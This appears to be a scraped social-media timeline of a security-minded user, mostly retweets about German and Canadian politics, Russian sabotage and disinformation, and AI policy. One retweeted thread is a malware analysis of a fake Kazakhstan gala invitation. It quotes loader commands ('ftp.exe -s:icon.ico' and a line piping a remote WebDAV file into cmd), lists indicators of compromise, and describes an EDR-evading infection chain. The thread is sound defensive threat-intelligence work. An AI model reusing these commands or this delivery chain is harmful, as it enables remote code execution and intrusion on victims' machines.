#NAFO, Tweets/Opinions my own, IT SEC, Blueteam,DFIR and other IT, Interested in things Mil/Phys sec/TCCC, Go Jays/Leafs!, Fuck the Nazis and their supporters

DaddyislalaDOTbskyDOTsocial retweeted
Blöd nur, dass es nicht stimmt: Seine Ehefrau flog auf dem ersten Flug Berlin-Japan mit der Luftwaffe mit, zahlte dafür (wie vorgeschrieben). Ein paar Tage später dann trafen sich die beiden in Australien, nach dem Urlaub flogen sie per Linien-Jet (und auf eigene Kosten) zurück.
auch das die SPD
37
121
1,895
43,041
DaddyislalaDOTbskyDOTsocial retweeted
270 cars across four German states. Exhaust pipes filled with construction foam. “Be greener” stickers slapped on the windows with Robert Habeck’s face. It looked like radical climate activism. Russia ran the operation. Three defendants confessed in Ulm. Two men, 18 and 22, one woman, 21. They moved to Germany from Bosnia, Serbia, and Romania. Moscow’s handlers paid them 100 euros per car to frame the Green Party and discredit climate policy before the Bundestag election. The court called them “disposable agents. ” Accurate. Now the sentence: • Two men: 3,000 euros each to the state treasury • Woman: 50 hours of community service • All three sentenced under juvenile law A foreign intelligence service coordinated 270 acts of sabotage at that price. No prison. No asset seizure. No investigation into the network that recruited them, moved them, and paid them. The message to Moscow is unambiguous: this is cheap. A few thousand euros in fines, some community service, and the operation still achieved its goal. The Greens were smeared, the public was confused, and the actual perpetrators walk away with a court record and a fine they can pay off with the next job. Russia needs the cost of sabotage to stay low enough that recruitment never stops, making court victories unnecessary. This verdict guarantees the next wave will be bigger. Ten times bigger is a conservative estimate. The German legal system just set the market rate for Russian hybrid warfare on German soil: 100 euros per car for the saboteur, 3,000 euros per saboteur for the state. Moscow will pay that all day.
63
1,012
2,496
65,278
DaddyislalaDOTbskyDOTsocial retweeted
Last time on Dragon Ball Z: someone sent me goop (malware) which successfully evaded their EDR and all AVs. It also passed everything on VirusTotal for static-analysis. They sent it to me to bonk with a stick, bonking this whole thing would take me a long time, and I'm not going to do that. I wanted to determine what it was doing, etc. My knowledge on state-sponsored activity and geopolitics in the CIS (Commonwealth of Independent States, ex-Soviet countries) is rusty. However, based on the nature of this goop I would be willing to bet 4 silly pictures of cats this is a state-sponsored malware campaign. 1. The file (a .rar) sent is a fake invitation to the AmCham Kazakhstan's 2026 Gala (or so I assume based on some Google searches) which is happening October 16th, 2026, in Astana, Kazakhstan 2. The file contains two files. A .xz file (unsure what it does still at this time, but it's a JPEG, not a real archive) and a .url file (internet shortcut). The internet shortcut is named "Scanned Image". Likely a masquerading technique. 3. The .url file connects via WebDAV to "file://rappellingaart.com@SSL/secure-docs/3". This directory contains a .lnk (Windows shortcut) and a .ico (Icon file). 4. This is a masquerading effort, the end user must execute the .lnk file to proceed to the remaining payload. The WebDAV appears as a regular directory in File Explorer on Windows 5. The .lnk executes FTP.exe inside System32 and passes the WebDAV path to the .ico file as a LOLBIN, as this: "ftp.exe -s:icon.ico" 6. The .ico acts as a command template and does "!more \\rappellingaart.com@SSL\secure-docs\res.ico|cmd" 7. The res.ico file, which is piped into CMD.exe, creates a series of scheduled tasks, most notably it connects to gomescareerplans(.)com and performs a CURL on the domain under /docs/?vid=%computername%" as a way to register the machine that it has been infected by their payload 8. The res.ico also references the WebDAV URL again and performs a silent installation of "Imp_Details.msi" from \\rappellingaart.com@SSL\secure-docs\Imp_Details.msi 9. Imp_Details.msi contains a section internally labeled Binary._2E9D1C8BAC5D0F288E61BF5987C52203 10. This section is a RAT written in C++. It has a lot of features, lots of different commands, way too much for me to reverse engineer quickly. However, it does internally perform a XOR on a string. It reveals the C2 for the RAT delivered is chestergreenfarming(.)com Invitation .rar: 2fa7498a3bda849c8c5a0e0869708ff113379d54197109a5cdfaea0155e878c9 .Url which launches the WebDAV: 613b6569bd8a4cd75ab11ee9682dd690fabfb11d5c1103caf2ba086e006da034 Weird .xz: fec4f301a1be36a42ec27208e13b5d1d3d0bbe0f1ab47bbab863a7ca9923c571 .ico file (stager): c27ca16248e04f6535ae3e6d1670d740b3884f0fa64935ddfd39faf712f4175d .ico (C2 register, task scheduler): f1060a81c9f68d6f3d23e28f2a1af50fa18ecb9b0a763ca5dcd4b294b6a3593c .MSI (pulled from .ico task scheduler): 4008c8f9e52d3e6fd7df4a980a9a78f46f2412ba2fda10a38aa92d338767c54c .exe inside of .MSI: 5d8df4c2d08cff5f1c0de8eab56e47ae543bd5c6d2ef04573f61ebb9fbc65716 WebDAV: rappellingaart(.)com C2 register: gomescareerplans(.)com RAT C2: chestergreenfarming(.)com
31
69
1,416
41,976
DaddyislalaDOTbskyDOTsocial retweeted
They’re going to ban open weight models because they’re dangerous. No, that won’t stop threat actors from using them, but it will stop enterprises. And that’s the whole point.
66
125
818
39,603
Stop lying that Canada is joining the EU or giving up it's sovereignty.
8
I have to say, I am enjoying wardogs right now
11
DaddyislalaDOTbskyDOTsocial retweeted
POV: Software Engineering in 2026 be like 😭
240
1,990
16,916
1,308,551
If you are say you are pro Ukraine, but then you are pro AFD, then you are actually not pro Ukraine. It does not take a lot of intellect to recognise the reality of the AFD's position towards Russia.
1
2
25
DaddyislalaDOTbskyDOTsocial retweeted
Ngl i didn't know about Alyssa before now and this is coming from someone who enjoys reading about top dawgs in Computer Science generally. But after hearing about the Apple M1 GPU RE I spent the past two days reading up on lady Rosenzweig. Apparently she didn't start reverse engineering GPUs this year. It was back in 2017 when she was in highschool which later turned into a Collabora job working on Panfrost(the open Mesa driver for Mali(graphics processors designed by ARM)). This specific Apple M1 GPU work commenced in Dec of 2020, despite the fact that there weren't any publicly available docs by Apple for their GPU ISA/command stream. Hector Martin(founder of Asahi Linux) kicked off the Asahi Linux project to port the Linux operating system directly to Apple's silicon(M1 and M2 series chips). She bought herself an M1 Mac mini as a 'christmas present' and commenced work on the GPU. Typically, it used the same black-box method as Panfrost, idk much about these really but it's a black-box reverse-engineering technique used to build open source graphics drivers without access to official documentation or source code. After a few weeks she could disassemble simple shaders. Not long after she drew a triangle(drawing a triangle is the ultimate Proof of Concept in graphics engineering). You know what they say, "once you can draw a triangle, you can do anything." Fast forward to 5 years later and we have conformant OpenGL 4.6, OpenGL ES 3.2, Vulkan 1.4,... Proton gaming works on M1 Mac running Linux(this is ridiculously insane btw). She wrapped up the project this year and other efforts are now building on what she reverse-engineered.
45
123
1,921
82,476
DaddyislalaDOTbskyDOTsocial retweeted
Russen-Schwurbler: "Russland ist nicht im Krieg mit uns" Russland währenddessen:
⚡️ Medvedev has threatened to bomb German arms factories and strike targets in Berlin over Germany’s support for Ukraine. united24media.com/world/medv…
18
93
806
9,389
DaddyislalaDOTbskyDOTsocial retweeted
Sit down terrorists.
Russia is not an enemy of the Dutch and European PEOPLE. We know it. We hear it. We share this idea. Yet reckless warmongers seek a conflict with Moscow against the will of their own citizens and despite potential severe consequences. #NietOnzeOorlog
107
990
15,484
599,185
DaddyislalaDOTbskyDOTsocial retweeted
Honey. Hey honey. We have 15,430 beekeepers in Canada. We export about $60 million of honey a year, $40 million of that to the USA. That honey now has a 50% tariff and our farmers are going to have a tough time selling it. Canada imports a lot of honey, about $73 million of it. Some of it isn’t even real honey (seriously it’s faked with rice and cane syrups eww). Check the labels. As a country we are spending $73 million on imported honey and looking at loosing $40 million in exported honey to the USA. It’s kinda simple math. Buy Canadian honey. Little things from many people will make a difference.
383
1,753
9,242
367,398
DaddyislalaDOTbskyDOTsocial retweeted
Canada and Germany have deepened our partnership on AI, quantum, and battery technologies. We’ve secured more than six new critical minerals partnerships — creating more opportunities for Canadian workers and businesses. Today, I spoke with Chancellor Merz about how we can build on that progress. More on our call: pm.gc.ca/en/news/readouts/20…
849
1,267
9,189
268,594
DaddyislalaDOTbskyDOTsocial retweeted
Im Bundestag rassistische Slurs ins Mikrofon rotzen und das als heroischen Einsatz für deutsche Rentner verkaufen. Die AfD in einer Nussschale.
20
52
230
4,178
Straight facts here
Live your life so that upon your death people talk about you like they’re talking about Dolly Parton right now.
1
20
DaddyislalaDOTbskyDOTsocial retweeted
Hören Sie auf, meine Intelligenz zu beleidigen, Sie Fraktionsvorsitzender der Afd MG, Diese Falschaussagen können Sie Ihren Wählern erzählen, die Ihnen blind alles glauben, aber sie spiegeln schlicht nicht die rechtliche und praktische Realität in Deutschland wider. Das Bundesverfassungsgericht hat bereits im Jahr 2013 (Az. 2 BvC 7/10) unmissverständlich klargestellt, dass die Briefwahl auch ohne Angabe von Gründen absolut verfassungsgemäß ist – und zwar unabhängig davon, wie hoch der Anteil der Briefwähler in der Praxis ausfällt. Das Ziel, durch Barrierefreiheit eine möglichst hohe Wahlbeteiligung zu erreichen, ist ein hohes demokratisches Gut, das die theoretischen Risiken rechtfertigt. Die Behauptung, die Briefwahl sei nicht geheim oder extrem manipulationsanfällig, ignoriert die strengen Sicherheitsvorkehrungen: Stimmzettel und Personenübersichten werden strikt in getrennten Umschlägen transportiert und getrennt geöffnet. Eine Zuordnung von Name und Kreuz ist somit unmöglich. Das Abfangen von Unterlagen fällt sofort auf, da jeder Wähler im Wählerverzeichnis registriert ist – wer keine Unterlagen erhält oder im Wahllokal erfährt, dass bereits ein Wahlschein für ihn ausgestellt wurde, lässt Unregelmäßigkeiten sofort auffliegen. Auch Ihre Kritik an der Auszählung ist sachlich falsch: Die Auszählung der Briefwahl findet ab 18:00 Uhr genauso absolut öffentlich statt wie in jedem normalen Wahllokal. Jeder Bürger darf den Wahlhelfern dabei zusehen. Einzelfälle von Missbrauch gab es in der Geschichte zwar, diese wurden jedoch durch die Kontrollmechanismen schnell entdeckt, strafrechtlich verfolgt und führten im Zweifel zu Neuwahlen. Von einer systematischen Betrugsanfälligkeit zu sprechen, entbehrt jeder Grundlage und beschädigt grundlos das Vertrauen in unsere demokratischen Institutionen.
149
162
683
14,487
DaddyislalaDOTbskyDOTsocial retweeted
Alberta separatists spend more time producing weird AI videos than offering thoughtful, detailed answers to dozens of serious questions, like: - How does a landlocked statelet get coastal pipelines built? - How would Alberta negotiate a favourable separation agreement on everything from debt allocation to Canadian market access when it would require ratification by Parliament, and the nine other provinces? - If Canada is divisible, then why isn't Alberta? How would an Alberta statelet deal with partition by Edmonton, Calgary, and 48 First Nations when they insist on remaining part of Canada? Send in nonexistent troops? - When First Nations refuse to re-assign their Treaty relationships to a separate Alberta, how will you deal with dozens of blockades on highways and railways, and the end of indigenous cooperation with the energy industry? - Would Alberta freeload off Canada for its national defence? If not, how would it finance a $25 billion military (at NATO's 5% / GDP benchmark?) - How many hundreds of billions of dollars will it cost Alberta taxpayers to buy the 12% of the province's landmass owned by the Government of Canada? - How would years of protracted negotiations, or unilateral declaration of independence, maintain rather than destroy investor confidence? - Roughly half of Albertans indicate in polls that they would leave a separate Alberta. What impact would this have on the tax base, labour market, housing market, etc., and what's your contingency plan for massive emigration? - Would the Republic of Alberta use the Canadian currency, with zero input in Canadian monetary policy? - What happens when Alberta suddenly loses largely tariff free access to 55 countries around the world, including the United States? - How do Albertans travel internationally when a separate Alberta has no standing in the International Air Transport Association's Multilateral Interline Traffic Agreements? - The ultimate bosses of separatism (Sylvester and Rath) say that the roughly half of Albertans born outside the province will not be eligible for Alberta citizenship. Will they be subject to deportation? Or will they graciously be allowed to stay indefinitely as guest workers? There are hundreds of questions like these that the separatists have made no serious effort to answer. But by all means, keep on making wacky videos. Doing so shows everyone how profoundly unserious the Alberta separatist movement is.
Artistic video depiction of how it will look when Alberta rises up and detaches from the federation
385
155
1,015
141,185
DaddyislalaDOTbskyDOTsocial retweeted
Support For Taking Over (X) By Force: Panama Canal: 19% Cuba: 17% Greenland: 9% Canada: 8% YouGov / Aug 17, 2026
9
5
64
44,488
DaddyislalaDOTbskyDOTsocial retweeted
At night, when you sleep, do you hear the screams of the Dutch citizens that you murdered on MH-17?
Dear followers, we see how deeply concerned you are about the aggressive intentions of Eurocrats. We hear your voices calling for peace and dialogue with Russia - a country that is not your enemy at all. Be assured: we do hear you! #AgainstWarmongers
3
8
32
355
DaddyislalaDOTbskyDOTsocial retweeted
Aktuell kommt es im Stadtgebiet vermehrt zu Schockanrufen durch Callcenter-Betrüger und zu Trickbetrügern, die an Haustüren klingeln. Bitte warnt Angehörige und Bekannte. Im Zweifel die 110 anrufen. Weitere Infos: polizei.bayern.de/schuetzen-… polizei.bayern.de/schuetzen-…
6
36
70
20,286